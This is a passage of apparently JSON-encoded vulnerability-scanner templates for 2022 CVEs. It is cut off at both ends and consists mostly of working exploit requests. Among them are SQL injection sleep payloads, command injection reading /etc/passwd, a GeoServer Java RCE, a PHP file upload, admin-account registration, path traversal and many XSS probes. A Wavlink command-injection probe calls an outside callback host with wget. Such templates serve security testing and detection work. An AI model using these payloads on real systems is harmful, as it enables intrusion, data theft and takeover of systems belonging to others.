injection","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/admin/?page=requests/manage_request&id=1'+AND+(SELECT+7774+FROM+(SELECT(SLEEP(6)))dPPt)+AND+'rogN'='rogN"],"matchers":[{"type":"dsl","dsl":["duration>=6","status_code == 200","contains(content_type, \"text/html\")","contains(body, \"Request Detail\")"],"condition":"and"}]}]},{"id":"CVE-2022-45805","info":{"name":"WordPress Paytm Payment Gateway <=2.7.3 - SQL Injection","severity":"critical"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\n","@timeout: 15s\nGET /wp-admin/post.php?post=1+AND+(SELECT+6205+FROM+(SELECT(SLEEP(6)))RtRs)&action=edit HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"matchers":[{"type":"dsl","dsl":["duration_2>=6","status_code_2 == 200","contains(body_2, \"toplevel_page_paytm\")"],"condition":"and"}]}]},{"id":"CVE-2022-31126","info":{"name":"Roxy-WI <6.1.1.0 - Remote Code Execution","severity":"critical"},"requests":[{"raw":["POST /app/options.py HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\nX-Requested-With: XMLHttpRequest\nOrigin: {{BaseURL}}\nReferer: {{BaseURL}}/app/login.py\n\nalert_consumer=1&serv=127.0.0.1&ipbackend=\";cat+/etc/passwd+##&backend_server=127.0.0.1\n"],"matchers-condition":"and","matchers":[{"type":"regex","part":"body","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-38870","info":{"name":"Free5gc 3.2.1 - Information Disclosure","severity":"high"},"requests":[{"raw":["GET /api/subscriber HTTP/1.1\nHost: {{Hostname}}\nToken: admin\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\"plmnID\":","\"ueId\":"],"condition":"and"},{"type":"word","part":"header","words":["application/json"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-0948","info":{"name":"WordPress Order Listener for WooCommerce <3.2.2 - SQL Injection","severity":"critical"},"requests":[{"raw":["@timeout: 15s\nPOST /?rest_route=/olistener/new HTTP/1.1\nHost: {{Hostname}}\ncontent-type: application/json\n\n{\"id\":\" (SLEEP(6))#\"}\n","GET /wp-content/plugins/woc-order-alert/assets/admin/js/scripts.js HTTP/1.1\nHost: {{Hostname}}\n"],"req-condition":true,"matchers":[{"type":"dsl","dsl":["duration_1>=6","status_code_1 == 200","contains(content_type_1, \"application/json\")","contains(body_2, \"olistener-action.olistener-controller\")"],"condition":"and"}]}]},{"id":"CVE-2022-46934","info":{"name":"kkFileView 4.1.0 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/picturesPreview?currentUrl=aHR0cDovLyIpO2FsZXJ0KGRvY3VtZW50LmRvbWFpbik7Ly8=&urls"],"matchers-condition":"and","matchers":[{"type":"word","words":["document.getElementById(\"http://\");alert(document.domain);//\").click();","viewer.min.css"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-22536","info":{"name":"SAP Memory Pipes (MPI) Desynchronization","severity":"critical"},"requests":[{"raw":["GET {{sap_path}} HTTP/1.1\nHost: {{Hostname}}\nContent-Length: 82646\nConnection: keep-alive\n\n{{repeat(\"A\", 82642)}}\n\nGET / HTTP/1.1\nHost: {{Hostname}}\n\n"],"payloads":{"sap_path":["/sap/admin/public/default.html","/sap/public/bc/ur/Login/assets/corbu/sap_logo.png"]},"stop-at-first-match":true,"unsafe":true,"read-all":true,"matchers-condition":"and","matchers":[{"type":"dsl","dsl":["contains(tolower(body), 'administration')","contains(tolower(header), 'content-type: image/png')"],"condition":"or"},{"type":"word","part":"body","words":["HTTP/1.0 400 Bad Request","HTTP/1.0 500 Internal Server Error","HTTP/1.0 500 Dispatching Error"],"condition":"or"},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-34049","info":{"name":"WAVLINK WN530HG4 - Improper Access Control","severity":"medium"},"requests":[{"raw":["GET /cgi-bin/ExportLogs.sh HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["Login","Password"],"condition":"and"},{"type":"word","part":"header","words":["filename=\"sysLogs.txt\""]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-29301","info":{"name":"SolarView Compact 6.00 - 'pow' Cross-Site Scripting","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/Solar_SlideSub.php?id=4&play=1&pow=sds%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E%3C%22&bgcolor=green"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["<script>alert(document.domain)</script><\"\">","SolarView"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-46888","info":{"name":"NexusPHP <1.7.33 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/login.php?secret=\"><script>alert(document.domain)</script>"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["value=\"\"><script>alert(document.domain)</script>\">","NexusPHP"],"case-insensitive":true,"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-38463","info":{"name":"ServiceNow - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/logout_redirect.do?sysparm_url=//j%5c%5cjavascript%3aalert(document.domain)"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["top.location.href = 'javascript:alert(document.domain)';"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-1946","info":{"name":"WordPress Gallery <2.0.0 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-admin/admin-ajax.php?action=wpda_gall_load_image_info&start=0&limit=1&gallery_current_index=<script>alert(document.domain)</script>"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["wpdevar_gall_img_url_h[<script>alert(document.domain)</script>]"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-45038","info":{"name":"WBCE CMS v1.5.4 - Cross Site Scripting (Stored)","severity":"medium"},"requests":[{"raw":["GET /admin/login/index.php HTTP/1.1\nHost: {{Hostname}}\n","POST /admin/login/index.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nurl=&username_fieldname={{username_fieldname}}&password_fieldname={{password_fieldname}}&{{username_fieldname}}={{username}}&{{password_fieldname}}={{password}}&submit=Login\n","GET /admin/settings/ HTTP/1.1\nHost: {{Hostname}}\n","POST /admin/settings/save.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nadvanced=no&formtoken={{formtoken}}&website_footer=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&page_trash=inline&home_folders=true&intro_page=false&frontend_login=false&frontend_signup=false&submit=&default_language=EN&default_timezone=0&default_date_format=d.m.Y&default_time_format=H%3Ai&default_template=wbcezon&default_theme=wbce_flat_theme&search=public&search_template=&page_spacer=-&app_name={{app_name}}&sec_anchor=wbce_&wbmailer_default_sendername=WBCE+CMS+Mailer&wbmailer_routine=phpmail&wbmailer_smtp_host=&wbmailer_smtp_port=&wbmailer_smtp_secure=&wbmailer_smtp_username=&wbmailer_smtp_password=\n","GET /search/index.php HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["<script>alert(document.domain)</script>","Results For"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}],"extractors":[{"type":"regex","name":"username_fieldname","group":1,"regex":["name=\"username_fieldname\" value=\"(.*)\""],"internal":true,"part":"body"},{"type":"regex","name":"password_fieldname","group":1,"regex":["name=\"password_fieldname\" value=\"(.*)\""],"internal":true,"part":"body"},{"type":"regex","name":"formtoken","group":1,"regex":["name=\"formtoken\" value=\"(.*)\""],"internal":true,"part":"body"},{"type":"regex","name":"app_name","group":1,"regex":["name=\"app_name\" value=\"(.*?)\""],"internal":true,"part":"body"}]}]},{"id":"CVE-2022-4060","info":{"name":"WordPress User Post Gallery <=2.19 - Remote Code Execution","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-admin/admin-ajax.php?action=upg_datatable&field=field:exec:head+-1+/etc/passwd:NULL:NULL"],"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["application/json"]},{"type":"word","part":"body","words":["recordsFiltered"]},{"type":"regex","part":"body","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-23944","info":{"name":"Apache ShenYu Admin Unauth Access","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/plugin"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\"message\":\"query success\"","\"code\":200"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-1013","info":{"name":"WordPress Personal Dictionary <1.3.4 - Blind SQL Injection","severity":"critical"},"requests":[{"raw":["@timeout: 30s\nPOST /wp-admin/admin-ajax.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\naction=ays_pd_ajax&function=ays_pd_game_find_word&groupsIds[]=1)+AND+(SELECT+3066+FROM+(SELECT(SLEEP(5)))CEHy)--+-\n"],"matchers":[{"type":"dsl","dsl":["duration>=5","status_code == 200","contains(content_type, \"text/html\")","contains(body, \"\\\"status\\\":true,\")"],"condition":"and"}]}]},{"id":"CVE-2022-24816","info":{"name":"GeoServer <1.2.2 - Remote Code Execution","severity":"critical"},"requests":[{"raw":["POST /geoserver/wms HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/xml\n\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n <wps:Execute version=\"1.0.0\" service=\"WPS\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns=\"http://www.opengis.net/wps/1.0.0\" xmlns:wfs=\"http://www.opengis.net/wfs\" xmlns:wps=\"http://www.opengis.net/wps/1.0.0\" xmlns:ows=\"http://www.opengis.net/ows/1.1\" xmlns:gml=\"http://www.opengis.net/gml\" xmlns:ogc=\"http://www.opengis.net/ogc\" xmlns:wcs=\"http://www.opengis.net/wcs/1.1.1\" xmlns:xlink=\"http://www.w3.org/1999/xlink\" xsi:schemaLocation=\"http://www.opengis.net/wps/1.0.0 http://schemas.opengis.net/wps/1.0.0/wpsAll.xsd\">\n <ows:Identifier>ras:Jiffle</ows:Identifier>\n <wps:DataInputs>\n <wps:Input>\n <ows:Identifier>coverage</ows:Identifier>\n <wps:Data>\n <wps:ComplexData mimeType=\"application/arcgrid\"><![CDATA[ncols 720 nrows 360 xllcorner -180 yllcorner -90 cellsize 0.5 NODATA_value -9999 316]]></wps:ComplexData>\n </wps:Data>\n </wps:Input>\n <wps:Input>\n <ows:Identifier>script</ows:Identifier>\n <wps:Data>\n <wps:LiteralData>dest = y() - (500); // */ public class Double { public static double NaN = 0; static { try { java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec(\"cat /etc/passwd\").getInputStream())); String line = null; String allLines = \" - \"; while ((line = reader.readLine()) != null) { allLines += line; } throw new RuntimeException(allLines);} catch (java.io.IOException e) {} }} /**</wps:LiteralData>\n </wps:Data>\n </wps:Input>\n <wps:Input>\n <ows:Identifier>outputType</ows:Identifier>\n <wps:Data>\n <wps:LiteralData>DOUBLE</wps:LiteralData>\n </wps:Data>\n </wps:Input>\n </wps:DataInputs>\n <wps:ResponseForm>\n <wps:RawDataOutput mimeType=\"image/tiff\">\n <ows:Identifier>result</ows:Identifier>\n </wps:RawDataOutput>\n </wps:ResponseForm>\n </wps:Execute>\n"],"matchers-condition":"and","matchers":[{"type":"regex","part":"body","regex":["root:.*:0:0:","ExceptionInInitializerError"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-40881","info":{"name":"SolarView 6.00 - Remote Command Execution","severity":"critical"},"requests":[{"raw":["POST /network_test.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nhost=%0a{{cmd}}%0a&command=ping\n"],"matchers-condition":"and","matchers":[{"type":"regex","part":"body","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-28290","info":{"name":"WordPress Country Selector <1.6.6 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1\n","POST /wp-admin/admin-ajax.php?action=check_country_selector HTTP/2\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\ncountry=%3Cimg%20src%3Dx%20onerror%3Dalert%28document.domain%29%3E&lang=%3Cimg%20src%3Dx%20onerror%3Dalert%28document.domain%29%3E&site_locate=en-US\n"],"cookie-reuse":true,"skip-variables-check":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["<img src=x onerror=alert(document.domain)>","country_selector_"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-1952","info":{"name":"WordPress eaSYNC Booking <1.1.16 - Arbitrary File Upload","severity":"critical"},"requests":[{"raw":["POST /wp-admin/admin-ajax.php HTTP/1.1\nHost: {{Hostname}}\nCookie: PHPSESSID=a0d5959357e474aef655313f69891f37\nContent-Type: multipart/form-data; boundary=------------------------98efee55508c5059\n\n--------------------------98efee55508c5059\nContent-Disposition: form-data; name=\"action\"\n\neasync_session_store\n--------------------------98efee55508c5059\nContent-Disposition: form-data; name=\"type\"\n\ncar\n--------------------------98efee55508c5059\nContent-Disposition: form-data; name=\"with_driver\"\n\nself-driven\n--------------------------98efee55508c5059\nContent-Disposition: form-data; name=\"driver_license_image2\"; filename=\"{{randstr}}.php\"\nContent-Type: application/octet-stream\n\n<?php echo md5('CVE-2022-1952');?>\n\n--------------------------98efee55508c5059--\n","GET /wp-admin/admin-ajax.php?action=easync_success_and_save HTTP/1.1\nHost: {{Hostname}}\nCookie: PHPSESSID=a0d5959357e474aef655313f69891f37\n","GET /wp-content/uploads/{{filename}}.php HTTP/1.1\nHost: {{Hostname}}\n"],"req-condition":true,"matchers":[{"type":"dsl","dsl":["contains(header_3, \"text/html\")","status_code_3 == 200","contains(body_1, 'success\\\":true')","contains(body_3, 'e0d7fcf2c9f63143b6278a3e40f6bea9')"],"condition":"and"}],"extractors":[{"type":"regex","name":"filename","group":1,"regex":["wp-content\\\\\\/uploads\\\\\\/([0-9a-zA-Z]+).php"],"internal":true}]}]},{"id":"CVE-2022-29005","info":{"name":"Online Birth Certificate System 1.2 - Stored Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /obcs/user/login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\n\nmobno={{username}}&password={{password}}&login=\n","POST /obcs/user/profile.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\n\nfname={{str}}%3Cscript%3Ealert%28document.domain%29%3B%3C%2Fscript%3E&lname={{str}}%3Cscript%3Ealert%28document.domain%29%3B%3C%2Fscript%3E&add=New+Delhi+India+110001&submit=\n","GET /obcs/user/dashboard.php HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"req-condition":true,"host-redirects":true,"max-redirects":2,"matchers":[{"type":"dsl","dsl":["contains(header_3, \"text/html\")","status_code_3 == 200","contains(body_3, 'admin-name\\\">{{str}}<script>alert(document.domain);</script>')"],"condition":"and"}]}]},{"id":"CVE-2022-0441","info":{"name":"MasterStudy LMS <2.7.6 - Improper Access Control","severity":"critical"},"requests":[{"raw":["GET / HTTP/1.1\nHost: {{Hostname}}\n","POST /wp-admin/admin-ajax.php?action=stm_lms_register&nonce={{nonce}} HTTP/1.1\nHost: {{Hostname}}\nOrigin: {{BaseURL}}\nContent-Type: application/json\n\n{\"user_login\":\"{{username}}\",\"user_email\":\"{{user_email}}\",\"user_password\":\"{{password}}\",\"user_password_re\":\"{{password}}\",\"become_instructor\":\"\",\"privacy_policy\":true,\"degree\":\"\",\"expertize\":\"\",\"auditory\":\"\",\"additional\":[],\"additional_instructors\":[],\"profile_default_fields_for_register\":{\"wp_capabilities\":{\"value\":{\"administrator\":1}}}}\n"],"req-condition":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body_2","words":["Registration completed successfully","\"status\":\"success\""],"condition":"and"},{"type":"word","part":"header_2","words":["application/json;"]},{"type":"status","status":[200]}],"extractors":[{"type":"regex","name":"nonce","group":1,"regex":["\"stm_lms_register\":\"([0-9a-z]+)\""],"internal":true},{"type":"kval","kval":["user_email","password"]}]}]},{"id":"CVE-2022-31299","info":{"name":"Haraj 3.7 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/payform.php?type=upgrade&upgradeid=1&upgradegd=6&price=123&t=1¬e=%3C/textarea%3E%3Cscript%3Ealert(document.domain)%3C/script%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["><script>alert(document.domain)</script></textarea>","content=\"nextHaraj"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-23854","info":{"name":"AVEVA InTouch Access Anywhere Secure Gateway - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/AccessAnywhere/%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255cwindows%255cwin.ini"],"matchers-condition":"and","matchers":[{"type":"word","words":["for 16-bit app support","extensions"],"condition":"and"},{"type":"word","part":"header","words":["EricomSecureGateway"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-28117","info":{"name":"Navigate CMS 2.9.4 - Server-Side Request Forgery","severity":"medium"},"requests":[{"raw":["GET /navigate/login.php HTTP/1.1\nHost: {{Hostname}}\n","POST /navigate/login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: multipart/form-data; boundary=---------------------------123456789012345678901234567890\n\n-----------------------------123456789012345678901234567890\nContent-Disposition: form-data; name=\"login-username\"\n\n{{username}}\n-----------------------------123456789012345678901234567890\nContent-Disposition: form-data; name=\"csrf_token\"\n\n{{csrf_token}}\n-----------------------------123456789012345678901234567890\nContent-Disposition: form-data; name=\"login-password\"\n\n{{password}}\n-----------------------------123456789012345678901234567890\n","POST /navigate/navigate.php?fid=dashboard&act=json&oper=feed HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\n\nlimit=5&language=en&url=file:///etc/passwd\n","GET /navigate/private/1/cache/0f1726ba83325848d47e216b29d5ab99.feed HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"matchers-condition":"and","matchers":[{"type":"regex","part":"body","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}],"extractors":[{"type":"regex","name":"csrf_token","group":1,"regex":["csrf_token\" value=\"([a-f0-9]{64})"],"internal":true,"part":"body"}]}]},{"id":"CVE-2022-42748","info":{"name":"CandidATS 3.0.0 - Cross-Site Scripting.","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/ajax.php?f=getPipelineJobOrder&joborderID=50&page=0&entriesPerPage=15&sortBy=dateCreatedInt&sortDirection=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E&indexFile=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E&isPopup=0"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["<script>alert(document.domain)</script>","candidat"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[404]}]}]},{"id":"CVE-2022-2488","info":{"name":"Wavlink WN535K2/WN535K3 - OS Command Injection","severity":"critical"},"requests":[{"raw":["GET /cgi-bin/touchlist_sync.cgi?IP=;wget+http://{{interactsh-url}}; HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["http"]},{"type":"status","status":[500]}]}]},{"id":"CVE-2022-23347","info":{"name":"BigAnt Server v5.6.06 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php/Pan/ShareUrl/downloadSharedFile?true_path=../../../../../../windows/win.ini&file_name=win.ini"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["bit app support","fonts","extensions"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-3800","info":{"name":"IBAX - SQL Injection","severity":"high"},"requests":[{"raw":["@timeout: 15s\nPOST /api/v2/open/rowsInfo HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\norder=1&table_name=pg_user\"%3b+select+pg_sleep(6)%3b+--\"&limit=1&page=1\n"],"matchers":[{"type":"dsl","dsl":["duration>=6","status_code == 200","contains(content_type, \"application/json\")","contains(body, \"usesysid\")"],"condition":"and"}]}]},{"id":"CVE-2022-23102","info":{"name":"SINEMA Remote Connect Server < V2.0 - Open Redirect","severity":"medium"},"requests":[{"raw":["GET /wbm/login/?next=https%3A%2F%2Finteract.sh HTTP/1.1\nHost: {{Hostname}}\n","POST /wbm/login/?next=https%3A%2F%2Finteract.sh HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\nCookie: csrftoken={{csrf}};\nReferer: {{RootURL}}/wbm/login/?next=https%3A%2F%2Finteract.sh\n\ncsrfmiddlewaretoken={{csrf}}&utcoffset=330&username={{username}}&password={{password}}\n"],"matchers":[{"type":"regex","part":"header_2","regex":["(?m)^(?:Location\\s*?:\\s*?)(?:https?:\\/\\/|\\/\\/|\\/\\\\\\\\|\\/\\\\)?(?:[a-zA-Z0-9\\-_\\.@]*)interact\\.sh\\/?(\\/|[^.].*)?$"]}],"extractors":[{"type":"regex","name":"csrf","part":"body","group":1,"regex":["name='csrfmiddlewaretoken' value='(.*)' />"],"internal":true}]}]},{"id":"CVE-2022-30776","info":{"name":"Atmail 6.5.0 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/atmail/index.php/admin/index/?error=1%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["Error: 1<script>alert(document.domain)</script>"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-34753","info":{"name":"SpaceLogic C-Bus Home Controller <=1.31.460 - Remote Command Execution","severity":"high"},"requests":[{"raw":["GET /delsnap.pl?name=|id HTTP/1.1\nHost: {{Hostname}}\nAuthorization: Basic {{base64('{{username}}:' + '{{password}}')}}\n"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["uid=\\d+\\(([^)]+)\\) gid=\\d+\\(([^)]+)\\)"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-2185","info":{"name":"GitLab CE/EE - Remote Code Execution","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/users/sign_in"],"redirects":true,"max-redirects":3,"matchers":[{"type":"word","words":["003236d7e2c5f1f035dc8b67026d7583ee198b568932acd8faeac18cec673dfa","1062bbba2e9b04e360569154a8df8705a75d9e17de1a3a9acd5bd20f000fec8b","1832611738f1e31dd00a8293bbf90fce9811b3eea5b21798a63890dbc51769c8","1ae98447c220181b7bd2dfe88018cb6e1b1e4d12d7b8c224d651a48ed2d95dfe","1d765038b21c5c76ff8492561c29984f3fa5c4b8cfb3a6c7b216ac8ab18b78c7","1d840f0c4634c8813d3056f26cbab7a685d544050360a611a9df0b42371f4d98","2ea7e9be931f24ebc2a67091b0f0ff95ba18e386f3d312545bb5caaac6c1a8be","301b60d2c71a595adfb65b22edee9023961c5190e1807f6db7c597675b0a61f0","383b8952f0627703ada7774dd42f3b901ea2e499fd556fce3ae0c6d604ad72b7","4f233d907f30a050ca7e40fbd91742d444d28e50691c51b742714df8181bf4e7","50d9206410f00bb00cc8f95865ab291c718e7a026e7fdc1fc9db0480586c4bc9","515dc29796a763b500d37ec0c765957a136c9e1f1972bb52c3d7edcf4b6b8bbe","57e83f1a3cf7c0fe3cf2357802306688dab60cf6a30d00e14e67826070db92de","5cd37ee959b5338b5fb48eafc6c7290ca1fa60e653292304102cc19a16cc25e4","5df2cb13ec314995ea43d698e888ddb240dbc7ccb6e635434dc8919eced3e25f","6a58066d1bde4b6e661fbd5bde83d2dd90615ab409b8c8c36e04954fbd923424","6eb5eaa5726150b8135a4fd09118cfd6b29f128586b7fa5019a04f1c740e9193","6fa9fec63ba24ec06fcae0ec30d1369619c2c3323fe9ddc4849af86457d59eef","739a920f5840de93f944ec86c5a181d0205f1d9e679a4df1b9bf5b0882ab848a","775f130d36e9eb14cb67c6a63551511b87f78944cebcf6cdddb78292030341df","7d0792b17e1d2ccac7c6820dda1b54020b294006d7867b7d78a05060220a0213","8b78708916f28aa9e54dacf9c9c08d720837ce78d8260c36c0f828612567d353","90abf7746df5cb82bca9949de6f512de7cb10bec97d3f5103299a9ce38d5b159","95ae8966ec1e6021f2553c7d275217fcfecd5a7f0b206151c5fb701beb7baf1e","a4333a9de660b9fc4d227403f57d46ec275d6a6349a6f5bda0c9557001f87e5d","a6d68fb0380bece011b0180b2926142630414c1d7a3e268fb461c51523b63778","a743f974bacea01ccc609dcb79247598bd2896f64377ce4a9f9d0333ab7b274e","a8bf3d1210afa873d9b9af583e944bdbf5ac7c8a63f6eccc3d6795802bd380d2","ba74062de4171df6109c4c96da1ebe2b538bb6cc7cd55867cbdfba44777700e1","c91127b2698c0a2ae0103be3accffe01995b8531bf1027ae4f0a8ad099e7a209","cfa6748598b5e507db0e53906a7639e2c197a53cb57da58b0a20ed087cc0b9d5","e539e07c389f60596c92b06467c735073788196fa51331255d66ff7afde5dfee","f8ba2470fbf1e30f2ce64d34705b8e6615ac964ea84163c8a6adaaf8a91f9eac","ff058b10a8dce9956247adba2e410a7f80010a236b2269fb53e0df5cd091e61d"],"condition":"or"}],"extractors":[{"type":"regex","group":1,"regex":["(?:application-)(\\S{64})(?:\\.css)"]}]}]},{"id":"CVE-2022-0150","info":{"name":"WordPress Accessibility Helper <0.6.0.7 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/?wahi=JzthbGVydChkb2N1bWVudC5kb21haW4pOy8v"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["var wah_target_src = '';alert(document.domain);//';"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-32771","info":{"name":"WWBN AVideo 11.6 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?success=%3C%2Fscript%3E%3Cscript%3Ealert%28document.cookie%29%3B%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["avideoAlertSuccess(\"</script><script>alert(document.cookie);</script>","text: \"</script><script>alert(document.cookie);</script>"],"condition":"or"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-21705","info":{"name":"October CMS - Remote Code Execution","severity":"high"},"requests":[{"raw":["GET /backend/backend/auth/signin HTTP/1.1\nHost: {{Hostname}}\n","POST /backend/backend/auth/signin HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\n_session_key={{session_key}}&_token={{token}}&postback=1&login={{username}}&password={{password}}\n","POST /backend/cms HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\nX-OCTOBER-REQUEST-HANDLER: onSave\nX-OCTOBER-REQUEST-PARTIALS:\nX-Requested-With: XMLHttpRequest\n\n_session_key={{session_key}}&_token={{token}}&settings%5Btitle%5D={{randstr}}&settings%5Burl%5D=%2F{{randstr}}&fileName={{randstr}}&settings%5Blayout%5D=&settings%5Bdescription%5D=&settings%5Bis_hidden%5D=0&settings%5Bmeta_title%5D=&settings%5Bmeta_description%5D=&markup=%3C%3Fphp%0D%0A%0D%0Afunction+onInit()+%7B%0D%0A++++phpinfo()%3B%0D%0A%7D%0D%0A%0D%0A%3F%3E%0D%0A%3D%3D%0D%0A&code=&templateType=page&templatePath=&theme=demo&templateMtime=&templateForceSave=0\n","POST /backend/cms HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\nX-OCTOBER-REQUEST-HANDLER: onCreateTemplate\nX-OCTOBER-REQUEST-PARTIALS:\nX-Requested-With: XMLHttpRequest\n\n_session_key={{session_key}}&_token={{token}}&search=&type=page\n","POST /backend/cms HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\nX-OCTOBER-REQUEST-HANDLER: onOpenTemplate\nX-OCTOBER-REQUEST-PARTIALS:\nX-Requested-With: XMLHttpRequest\n\n_session_key={{session_key}}&_token={{token}}&search=&{{theme}}=demo&type=page&path={{randstr}}.htm\n"],"cookie-reuse":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["function onInit()","phpinfo()","Safe mode is currently enabled. Editing the PHP code of CMS templates is disabled. To disable safe mode, set the `cms.enableSafeMode` configuration value to 